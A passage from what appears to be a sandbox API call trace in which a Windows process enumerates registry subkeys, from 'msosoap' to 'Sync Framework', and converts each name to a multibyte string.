lpUsedDefaultChar=0x0) returned 7 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x30b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0035.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x30b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x30b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x30b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x30b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x30c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x30b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x30b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x30b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x30c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0035.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x30b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0035.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x30c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0035.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x30b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0035.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x30b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x30c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0035.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x30b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x30c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0035.305] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x30b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x30c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0035.305] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x30b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0035.305] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x30b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x30c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0035.305] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x30b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0035.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x30b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x30b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x30b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x30b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x30b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x30b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x30c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0035.306] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x30b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x30b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x30b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x30b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x30b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x30c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x30b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x30b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x30c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0035.307] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x30b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x30b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x30b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x30b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x30c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x30b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x30b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x30b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x30b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0035.308] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x30b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x30b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, 